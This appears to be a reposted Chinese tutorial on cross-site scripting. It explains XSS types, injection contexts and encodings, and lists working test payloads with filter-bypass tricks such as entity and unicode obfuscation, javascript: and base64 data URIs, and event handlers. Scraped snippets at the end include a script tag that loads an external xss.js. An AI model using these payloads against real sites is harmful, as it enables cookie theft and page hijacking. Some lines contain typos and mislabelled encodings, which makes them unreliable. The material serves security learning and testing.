XSS跨站脚本小结

Xss概念

同源策略

javaScript中的同源,需要对比 两者中的协议、域名、端口。三者完全相同才认为是同源的,否则即是来自不同源的内容。

Xss概念

恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

用户提交的数据没有过滤,或者过滤不严格,输出到网页中 ,导致可以构造执行JS代码,或者修改网页内容。

Xss危害

•盗取用户或者管理员的Cookie

• XSS Worm

• 挂马(水坑攻击)

• 有局限性的键盘记录

Xss分类

• 反射型

非持久型XSS。XSS代码出现在URL参数或者请求中,浏览器发出请求时,参数值作为输入提交到服务器,服务器接受处理后参数值出现在响应的HTML中,最后浏览器解析执行了这段XSS代码。

• 存储型

又称持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库或文件中。

• DOM

与反射型XSS和存储型XSS的差别是在于DOM XSS的代码不需要服务器解析响应的直接参与,触发XSS靠的是浏览器DOM解析器的解析,可以完全认为是客户端的事情。

• flash

利用的是网页上flash文件缺陷来执行js脚本,一般是反射型xss

测试方法

条件

1. 需要向web页面注入恶意代码;

2. 恶意代码能够被浏览器成功的执行。

工具扫描:Appscan、awvs、burp suite、XSSERXSSF

Xss输出点位置

• 输出在标签外:需要可以构造标签

  • 输出到标签中

如果输出在"双引号或者‘单引号内部,需要能够闭合引号,如果不能闭合引号,看能否在当前的标签属性中执行js代码

如果没有输出在"双引号或者‘单引号内部,或者可以闭合引号,可以构造新属性,使用新的属性的值来执行JS代码,如事件属性

  • 输出到Script标签中

@ 如果输出在"双引号或者‘单引号内部,需要能够闭合引号,

@ 如果不能闭合引号,需要看当前变量能不能innerHTML或者document.write,插入到网页中,如果可以就可以构造XSS,如果没有,就不存在XSS(引号内部可以使用unicode编码, < 不能编码)

@ 如果输出"双引号或者‘单引号内部,需要能够闭合引号,如果可以闭合引号,就可以直接传递进去js代码,使用注释符号,注释掉后面的js代码就可以构造XSS

Xss输出点位置

• 基于黑名单的过滤和基于白名单的过滤。

• 在cookie中加入httponly属性可以在一定程度上保护用户的cookie,减少出现XSS时损失

• (1,apache2.2.x;2.注册网站,把攻击者自己的加了httponly的cookie复制过去,补全信息)

• Flash XSS的修复需要对相应的flash进行修改或升级替换。

常用编码

URL编码:一个百分号和该字符的ASCII编码所对应的2位十六进制数字。


#


%23


.


%2e


+


%2b


!


%21


<


%3c


>


%3e


空格


%20


&


%26


(


%28


)


%29



%22



%27

HTML编码

HTML实体编码:&开头,分号结尾 如“<”编码为“&lt;”

HTML10进制: “<”编码为<

HTML16进制: “<”编码为<

JavaScript编码:js提供了四种字符编码的策略

1、三个八进制数,如果不够个数,前面补0,例如“<”编码为“\074”

2、两个十六进制数,如果不够个数,前面补0,例如“<”编码为“\x3c”

3、四个十六进制数,如果不够个数,前面补0,例如“<”编码为“\u003c”

4、对于一些控制字符,使用特殊的C类型的转义风格(例如\n)

测试xss漏洞代码:

“ /></textarea><script>alert(1)</script> ”

<script>alert(1)</script>

<svg onload=alert(1)>

<img src=x onerror=alert(1)> 过滤<> ‘ " javascript,整条base64编码

<img src=javascript:alert(‘XSS‘)>

<img src=1 onerror="\u0061\u006c\u0065\u0072\u0074(1)">  对alert十进制HTNL实体编码

<img src=1 onerror="\u0061\u006c\u0065\u0072\u0074`1`">  对alert十六进制HTNL实体编码

<img src=1

onerror="a&#0108&#000101rt('xss')">   实体编码的数字前加多个0绕过

<a href=javascript:alert(1)>

<a href=<script>alert(1)</script>>

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">test</a>    base64加密

<a href="javasc&NewLine;ript&colon;alert(1)">click</a>

H5新增实体命名编码  &colon; => [冒号]   &NewLine; => [换行]  (内容必须加引号)

<iframe src=<script>alert(1)</script>></iframe>

<object data=<script>alert(1)</script>></object>

"onclick=alert(1)//                                  input标签过滤的<>符号

onchange=alert(1)

onfocus=alert(1)

autofocus onfcus=alert(1)

攻击防御

1. 在表单提交或者url参数传递前,对需要的参数进行过滤

2. 过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出

原文地址:https://www.cnblogs.com/appear001/p/11137930.html

时间: 2024-10-02 02:10:48

XSS跨站脚本小结的相关文章

XSS跨站脚本小结(转)

原文链接:http://www.cnblogs.com/xiaozi/p/5588099.html#undefined XSS漏洞验证经常遇到一些过滤,如何进行有效验证和绕过过滤呢,这里小结一下常见的一些标签,如<a><img>等. 参考链接:http://www.jb51.net/tools/xss.htm  http://d3adend.org/xss/ghettoBypass ';alert(String.fromCharCode(88,83,83))//\';alert(S

目前日向博客对xss跨站脚本注入和sql注入的防范

昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无线循环弹出框的脚本,估计这个脚本之后他再想输入也没法了. 类似这种: <html> <body onload='while(true){alert(1)}'> </body> </html> 我立刻认识到这事件严重性,它说明我的博客有严重安全问题.因为xss跨站脚本攻击可能导致用户Co

XSS跨站脚本攻击

[XSS跨站脚本攻击] 1.在Get请求的值中插入代码. $name = $_GET['name']; echo "Welcome $name<br>"; 2.输入框中输入代码. 参考: 1.http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html

XSS:跨站脚本攻击

XSS:跨站脚本,是攻击者向目标web站点注入html标签或者脚本,如果web页面动态的产生文档内容,并且这些内容是基于用户提交的数据,而并没有通过从中移除任何嵌入的html标签来消毒的话,那这个web页面很容易遭到跨站脚本攻击. 例如,如下的web页面,它使用js通过用户的名字来向用户问好: <html> <head><title>test</title></head> <body> <script type="te

XSS跨站脚本初识

跨网站指令码(Cross-site scripting,通常简称为XSS)是一种网站应用程式的安全漏洞攻击,是代码注入的一种.它允许恶意使用者将程式码注入到网页上,其他使用者在观看网页时就会受到影响.这类攻击通常包含了HTML以及使用者端脚本语言. XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序.这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者

PHP漏洞全解(四)-xss跨站脚本攻击

本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站.攻击者利用跨站请求伪造能够轻松地强迫用户的浏览器发出非故意的HTTP请求,如诈骗性的电汇 请求.修改口令和下载非法的内容等请求. XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS 跨站脚本主要

《xss跨站脚本剖析与防御》实验笔记

1.书籍<xss跨站脚本剖析与防御>上介绍的xss测试代码 <img src="javascrpt:alert('xss');">, <table background="javascrpt:alert(/xss/)"></table> 已经不能在多大数的浏览器上弹窗成功了 测试xss漏洞尽量改变习惯使用 <img src=1 oneRroR=alert(/XSS/)> <img src=1 oneR

初窥XSS跨站脚本攻击

XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS

经典XSS跨站脚本集合汇总整理

1)普通的XSS JavaScript注入 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (2)IMG标签XSS使用JavaScript命令 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (3)IMG标签无分号无引号 <IMG SRC=javascript:alert('XSS')> (4)IMG标签大小写不敏感 <IMG SRC=JaVaScR